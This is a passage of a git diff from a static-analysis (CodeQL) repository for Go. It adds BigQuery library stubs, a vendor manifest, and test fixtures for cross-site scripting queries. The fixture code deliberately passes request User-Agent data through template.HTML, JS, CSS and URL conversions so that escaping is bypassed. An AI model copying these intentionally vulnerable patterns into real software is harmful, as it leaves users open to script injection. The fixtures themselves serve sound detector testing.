MediaOptions []interface{} + ColumnNameCharacterMap ColumnNameCharacterMap + Reservation string +} + +type LoadSource interface{} + +type Loader struct { + JobIDConfig + LoadConfig +} + +func (_ *Loader) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type MaterializedViewDefinition struct { + EnableRefresh bool + LastRefreshTime time.Time + Query string + RefreshInterval time.Duration + AllowNonIncrementalDefinition bool + MaxStaleness *IntervalValue +} + +type MetadataCacheMode string + +type Model struct { + ProjectID string + DatasetID string + ModelID string +} + +func (_ *Model) Delete(_ context.Context) error { + return nil +} + +func (_ *Model) ExtractorTo(_ *GCSReference) *Extractor { + return nil +} + +func (_ *Model) FullyQualifiedName() string { + return "" +} + +func (_ *Model) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Model) Metadata(_ context.Context) (*ModelMetadata, error) { + return nil, nil +} + +func (_ *Model) Update(_ context.Context, _ ModelMetadataToUpdate, _ string) (*ModelMetadata, error) { + return nil, nil +} + +type ModelIterator struct{} + +func (_ *ModelIterator) Next() (*Model, error) { + return nil, nil +} + +func (_ *ModelIterator) PageInfo() interface{} { + return nil +} + +type ModelMetadata struct { + Description string + Name string + Type string + CreationTime time.Time + LastModifiedTime time.Time + ExpirationTime time.Time + Location string + EncryptionConfig *EncryptionConfig + Labels map[string]string + ETag string +} + +func (_ *ModelMetadata) RawFeatureColumns() ([]*StandardSQLField, error) { + return nil, nil +} + +func (_ *ModelMetadata) RawLabelColumns() ([]*StandardSQLField, error) { + return nil, nil +} + +func (_ *ModelMetadata) RawTrainingRuns() []*TrainingRun { + return nil +} + +type ModelMetadataToUpdate struct { + Description interface{} + Name interface{} + ExpirationTime time.Time + EncryptionConfig *EncryptionConfig +} + +func (_ *ModelMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *ModelMetadataToUpdate) SetLabel(_ string, _ string) {} + +type ParquetOptions struct { + EnumAsString bool + EnableListInference bool +} + +type PolicyTagList struct { + Names []string +} + +type PrimaryKey struct { + Columns []string +} + +type Query struct { + JobIDConfig + QueryConfig +} + +func (_ *Query) Read(_ context.Context) (*RowIterator, error) { + return nil, nil +} + +func (_ *Query) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type QueryConfig struct { + Dst *Table + Q string + DefaultProjectID string + DefaultDatasetID string + TableDefinitions map[string]ExternalData + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + DisableQueryCache bool + DisableFlattenedResults bool + AllowLargeResults bool + Priority QueryPriority + MaxBillingTier int + MaxBytesBilled int64 + UseStandardSQL bool + UseLegacySQL bool + Parameters []QueryParameter + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + Clustering *Clustering + Labels map[string]string + DryRun bool + DestinationEncryptionConfig *EncryptionConfig + SchemaUpdateOptions []string + CreateSession bool + ConnectionProperties []*ConnectionProperty + JobTimeout time.Duration + Reservation string +} + +type QueryParameter struct { + Name string + Value interface{} +} + +type QueryPriority string + +type RangeElementType struct { + Type FieldType +} + +type RangePartitioning struct { + Field string + Range *RangePartitioningRange +} + +type RangePartitioningRange struct { + Start int64 + End int64 + Interval int64 +} + +type RemoteFunctionOptions struct { + Connection string + Endpoint string + MaxBatchingRows int64 + UserDefinedContext map[string]string +} + +type ReservationEdition string + +type ReservationUsage struct { + SlotMillis int64 + Name string +} + +type RoundingMode string + +type Routine struct { + ProjectID string + DatasetID string + RoutineID string +} + +func (_ *Routine) Create(_ context.Context, _ *RoutineMetadata) error { + return nil +} + +func (_ *Routine) Delete(_ context.Context) error { + return nil +} + +func (_ *Routine) FullyQualifiedName() string { + return "" +} + +func (_ *Routine) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Routine) Metadata(_ context.Context) (*RoutineMetadata, error) { + return nil, nil +} + +func (_ *Routine) Update(_ context.Context, _ *RoutineMetadataToUpdate, _ string) (*RoutineMetadata, error) { + return nil, nil +} + +type RoutineArgument struct { + Name string + Kind string + Mode string + DataType *StandardSQLDataType +} + +type RoutineDeterminism string + +type RoutineIterator struct{} + +func (_ *RoutineIterator) Next() (*Routine, error) { + return nil, nil +} + +func (_ *RoutineIterator) PageInfo() interface{} { + return nil +} + +type RoutineMetadata struct { + ETag string + Type string + CreationTime time.Time + Description string + DeterminismLevel RoutineDeterminism + LastModifiedTime time.Time + Language string + Arguments []*RoutineArgument + RemoteFunctionOptions *RemoteFunctionOptions + ReturnType *StandardSQLDataType + ReturnTableType *StandardSQLTableType + ImportedLibraries []string + Body string + DataGovernanceType string +} + +type RoutineMetadataToUpdate struct { + Arguments []*RoutineArgument + Description interface{} + DeterminismLevel interface{} + Type interface{} + Language interface{} + Body interface{} + ImportedLibraries []string + ReturnType *StandardSQLDataType + ReturnTableType *StandardSQLTableType + DataGovernanceType interface{} +} + +type RowIterator struct { + StartIndex uint64 + Schema Schema + TotalRows uint64 +} + +func (_ *RowIterator) ArrowIterator() (ArrowIterator, error) { + return nil, nil +} + +func (_ *RowIterator) IsAccelerated() bool { + return false +} + +func (_ *RowIterator) Next(_ interface{}) error { + return nil +} + +func (_ *RowIterator) PageInfo() interface{} { + return nil +} + +func (_ *RowIterator) QueryID() string { + return "" +} + +func (_ *RowIterator) SourceJob() *Job { + return nil +} + +type Schema []*FieldSchema + +func (_ Schema) Relax() Schema { + return nil +} + +func (_ Schema) ToJSONFields() ([]byte, error) { + return nil, nil +} + +type ScriptStackFrame struct { + StartLine int64 + StartColumn int64 + EndLine int64 + EndColumn int64 + ProcedureID string + Text string +} + +type ScriptStatistics struct { + EvaluationKind string + StackFrames []*ScriptStackFrame +} + +type SessionInfo struct { + SessionID string +} + +type SnapshotDefinition struct { + BaseTableReference *Table + SnapshotTime time.Time +} + +type StandardSQLDataType struct { + ArrayElementType *StandardSQLDataType + RangeElementType *StandardSQLDataType + StructType *StandardSQLStructType + TypeKind string +} + +type StandardSQLField struct { + Name string + Type *StandardSQLDataType +} + +type StandardSQLStructType struct { + Fields []*StandardSQLField +} + +type StandardSQLTableType struct { + Columns []*StandardSQLField +} + +type State int + +type Statistics interface{} + +type StreamingBuffer struct { + EstimatedBytes uint64 + EstimatedRows uint64 + OldestEntryTime time.Time +} + +type Table struct { + ProjectID string + DatasetID string + TableID string +} + +func (_ *Table) CopierFrom(_ ...*Table) *Copier { + return nil +} + +func (_ *Table) Create(_ context.Context, _ *TableMetadata) error { + return nil +} + +func (_ *Table) Delete(_ context.Context) error { + return nil +} + +func (_ *Table) ExtractorTo(_ *GCSReference) *Extractor { + return nil +} + +func (_ *Table) FullyQualifiedName() string { + return "" +} + +func (_ *Table) IAM() interface{} { + return nil +} + +func (_ *Table) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Table) Inserter() *Inserter { + return nil +} + +func (_ *Table) LoaderFrom(_ LoadSource) *Loader { + return nil +} + +func (_ *Table) Metadata(_ context.Context, _ ...TableMetadataOption) (*TableMetadata, error) { + return nil, nil +} + +func (_ *Table) Read(_ context.Context) *RowIterator { + return nil +} + +func (_ *Table) Update(_ context.Context, _ TableMetadataToUpdate, _ string, _ ...TableUpdateOption) (*TableMetadata, error) { + return nil, nil +} + +func (_ *Table) Uploader() *Inserter { + return nil +} + +type TableConstraints struct { + PrimaryKey *PrimaryKey + ForeignKeys []*ForeignKey +} + +type TableCopyOperationType string + +type TableCreateDisposition string + +type TableIterator struct{} + +func (_ *TableIterator) Next() (*Table, error) { + return nil, nil +} + +func (_ *TableIterator) PageInfo() interface{} { + return nil +} + +type TableMetadata struct { + Name string + Location string + Description string + Schema Schema + MaterializedView *MaterializedViewDefinition + ViewQuery string + UseLegacySQL bool + UseStandardSQL bool + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + RequirePartitionFilter bool + Clustering *Clustering + ExpirationTime time.Time + Labels map[string]string + ExternalDataConfig *ExternalDataConfig + EncryptionConfig *EncryptionConfig + FullID string + Type TableType + CreationTime time.Time + LastModifiedTime time.Time + NumBytes int64 + NumLongTermBytes int64 + NumRows uint64 + SnapshotDefinition *SnapshotDefinition + CloneDefinition *CloneDefinition + StreamingBuffer *StreamingBuffer + ETag string + DefaultCollation string + TableConstraints *TableConstraints + MaxStaleness *IntervalValue + ResourceTags map[string]string + BigLakeConfiguration *BigLakeConfiguration +} + +type TableMetadataOption func(interface{}) + +type TableMetadataToUpdate struct { + Description interface{} + Name interface{} + Schema Schema + Clustering *Clustering + EncryptionConfig *EncryptionConfig + ExpirationTime time.Time + ExternalDataConfig *ExternalDataConfig + ViewQuery interface{} + UseLegacySQL interface{} + MaterializedView *MaterializedViewDefinition + TimePartitioning *TimePartitioning + RequirePartitionFilter interface{} + DefaultCollation interface{} + TableConstraints *TableConstraints + MaxStaleness *IntervalValue + ResourceTags map[string]string + BigLakeConfiguration *BigLakeConfiguration +} + +func (_ *TableMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *TableMetadataToUpdate) SetLabel(_ string, _ string) {} + +type TableType string + +type TableUpdateOption func(interface{}) + +type TableWriteDisposition string + +type TimePartitioning struct { + Type TimePartitioningType + Expiration time.Duration + Field string + RequirePartitionFilter bool +} + +type TimePartitioningType string + +type TrainingRun struct { + ClassLevelGlobalExplanations []interface{} + DataSplitResult interface{} + EvaluationMetrics interface{} + ModelLevelGlobalExplanation interface{} + Results []interface{} + StartTime string + TrainingOptions interface{} + TrainingStartTime int64 + VertexAiModelId string + VertexAiModelVersion string + ForceSendFields []string + NullFields []string +} + +type TransactionInfo struct { + TransactionID string +} diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt new file mode 100644 index 000000000000..1c7d4c630814 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt @@ -0,0 +1,129 @@ +# cloud.google.com/go/bigquery v1.68.0 +## explicit +cloud.google.com/go/bigquery +# cloud.google.com/go v0.121.0 +## explicit +cloud.google.com/go/bigquery +# cloud.google.com/go/auth v0.16.1 +## explicit +cloud.google.com/go/auth +# cloud.google.com/go/auth/oauth2adapt v0.2.8 +## explicit +cloud.google.com/go/auth/oauth2adapt +# cloud.google.com/go/compute/metadata v0.6.0 +## explicit +cloud.google.com/go/compute/metadata +# cloud.google.com/go/iam v1.5.2 +## explicit +cloud.google.com/go/iam +# github.com/apache/arrow/go/v15 v15.0.2 +## explicit +github.com/apache/arrow/go/v15 +# github.com/felixge/httpsnoop v1.0.4 +## explicit +github.com/felixge/httpsnoop +# github.com/go-logr/logr v1.4.2 +## explicit +github.com/go-logr/logr +# github.com/go-logr/stdr v1.2.2 +## explicit +github.com/go-logr/stdr +# github.com/goccy/go-json v0.10.2 +## explicit +github.com/goccy/go-json +# github.com/google/flatbuffers v23.5.26+incompatible +## explicit +github.com/google/flatbuffers +# github.com/google/s2a-go v0.1.9 +## explicit +github.com/google/s2a-go +# github.com/google/uuid v1.6.0 +## explicit +github.com/google/uuid +# github.com/googleapis/enterprise-certificate-proxy v0.3.6 +## explicit +github.com/googleapis/enterprise-certificate-proxy +# github.com/googleapis/gax-go/v2 v2.14.1 +## explicit +github.com/googleapis/gax-go/v2 +# github.com/klauspost/compress v1.16.7 +## explicit +github.com/klauspost/compress +# github.com/klauspost/cpuid/v2 v2.2.5 +## explicit +github.com/klauspost/cpuid/v2 +# github.com/pierrec/lz4/v4 v4.1.18 +## explicit +github.com/pierrec/lz4/v4 +# github.com/zeebo/xxh3 v1.0.2 +## explicit +github.com/zeebo/xxh3 +# go.opentelemetry.io/auto/sdk v1.1.0 +## explicit +go.opentelemetry.io/auto/sdk +# go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 +## explicit +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc +# go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 +## explicit +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp +# go.opentelemetry.io/otel v1.35.0 +## explicit +go.opentelemetry.io/otel +# go.opentelemetry.io/otel/metric v1.35.0 +## explicit +go.opentelemetry.io/otel/metric +# go.opentelemetry.io/otel/trace v1.35.0 +## explicit +go.opentelemetry.io/otel/trace +# golang.org/x/crypto v0.37.0 +## explicit +golang.org/x/crypto +# golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 +## explicit +golang.org/x/exp +# golang.org/x/mod v0.23.0 +## explicit +golang.org/x/mod +# golang.org/x/net v0.39.0 +## explicit +golang.org/x/net +# golang.org/x/oauth2 v0.29.0 +## explicit +golang.org/x/oauth2 +# golang.org/x/sync v0.14.0 +## explicit +golang.org/x/sync +# golang.org/x/sys v0.32.0 +## explicit +golang.org/x/sys +# golang.org/x/text v0.24.0 +## explicit +golang.org/x/text +# golang.org/x/time v0.11.0 +## explicit +golang.org/x/time +# golang.org/x/tools v0.30.0 +## explicit +golang.org/x/tools +# golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da +## explicit +golang.org/x/xerrors +# google.golang.org/api v0.231.0 +## explicit +google.golang.org/api +# google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb +## explicit +google.golang.org/genproto +# google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34 +## explicit +google.golang.org/genproto/googleapis/api +# google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34 +## explicit +google.golang.org/genproto/googleapis/rpc +# google.golang.org/grpc v1.72.0 +## explicit +google.golang.org/grpc +# google.golang.org/protobuf v1.36.6 +## explicit +google.golang.org/protobuf diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected new file mode 100644 index 000000000000..84099f5dd29e --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected @@ -0,0 +1,60 @@ +#select +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | untrusted source | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | untrusted source | +edges +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | provenance | | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | provenance | | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | provenance | | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | provenance | | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | provenance | | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | provenance | | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | provenance | | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | +models +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +nodes +| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | semmle.label | a | +| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | semmle.label | c | +| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | semmle.label | d | +| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | semmle.label | e | +| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | semmle.label | b | +| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | semmle.label | f | +| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | semmle.label | g | +subpaths diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go similarity index 64% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go index de353c861cf0..5ff36d0a8bc8 100644 --- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go @@ -7,8 +7,6 @@ import ( "strconv" ) -func main() {} - func checkError(err error) { if err != nil { panic(err) @@ -26,45 +24,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { { var a template.HTML - a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } } } { - var c = template.HTMLAttr(req.UserAgent()) - checkError(tmplTag.Execute(os.Stdout, c)) + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var d = template.JS(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, d)) + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var e = template.JSStr(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, e)) + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var b = template.CSS(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, b)) + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var f = template.Srcset(req.UserAgent()) - checkError(tmplSrcset.Execute(os.Stdout, f)) + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var g = template.URL(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, g)) + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-bypass-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref new file mode 100644 index 000000000000..9ea7791dff27 --- /dev/null +++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref @@ -0,0 +1,4 @@ +query: Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected index 647113f3c6b5..91b39e0e2a04 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected @@ -30,10 +30,10 @@ edges | contenttype.go:73:10:73:28 | call to FormValue | contenttype.go:79:11:79:14 | data | provenance | Src:MaD:8 | | contenttype.go:88:10:88:28 | call to FormValue | contenttype.go:91:4:91:7 | data | provenance | Src:MaD:8 | | contenttype.go:113:10:113:28 | call to FormValue | contenttype.go:114:50:114:53 | data | provenance | Src:MaD:8 | -| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:34:32:37 | file | provenance | Src:MaD:7 | +| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:30:32:33 | file | provenance | Src:MaD:7 | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | reflectedxsstest.go:34:46:34:60 | selection of Filename | provenance | Src:MaD:7 | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | -| reflectedxsstest.go:32:34:32:37 | file | reflectedxsstest.go:32:2:32:38 | ... := ...[0] | provenance | MaD:13 | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | | +| reflectedxsstest.go:32:30:32:33 | file | reflectedxsstest.go:32:2:32:34 | ... := ...[0] | provenance | MaD:13 | | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | reflectedxsstest.go:33:17:33:56 | call to Sprintf | provenance | MaD:12 | | reflectedxsstest.go:33:17:33:56 | call to Sprintf | reflectedxsstest.go:33:10:33:57 | type conversion | provenance | | | reflectedxsstest.go:33:49:33:55 | content | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | provenance | | @@ -81,7 +81,7 @@ models | 10 | Source: net/http; Request; true; URL; ; ; ; remote; manual | | 11 | Source: nhooyr.io/websocket; Conn; true; Read; ; ; ReturnValue[1]; remote; manual | | 12 | Summary: fmt; ; false; Sprintf; ; ; Argument[1].ArrayElement; ReturnValue; taint; manual | -| 13 | Summary: io/ioutil; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | +| 13 | Summary: io; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual | | 14 | Summary: io; Reader; true; Read; ; ; Argument[receiver]; Argument[0]; taint; manual | | 15 | Summary: mime/multipart; Part; true; FileName; ; ; Argument[receiver]; ReturnValue; taint; manual | | 16 | Summary: mime/multipart; Reader; true; NextPart; ; ; Argument[receiver]; ReturnValue[0]; taint; manual | @@ -108,8 +108,8 @@ nodes | contenttype.go:114:50:114:53 | data | semmle.label | data | | reflectedxsstest.go:31:2:31:44 | ... := ...[0] | semmle.label | ... := ...[0] | | reflectedxsstest.go:31:2:31:44 | ... := ...[1] | semmle.label | ... := ...[1] | -| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | semmle.label | ... := ...[0] | -| reflectedxsstest.go:32:34:32:37 | file | semmle.label | file | +| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | semmle.label | ... := ...[0] | +| reflectedxsstest.go:32:30:32:33 | file | semmle.label | file | | reflectedxsstest.go:33:10:33:57 | type conversion | semmle.label | type conversion | | reflectedxsstest.go:33:17:33:56 | 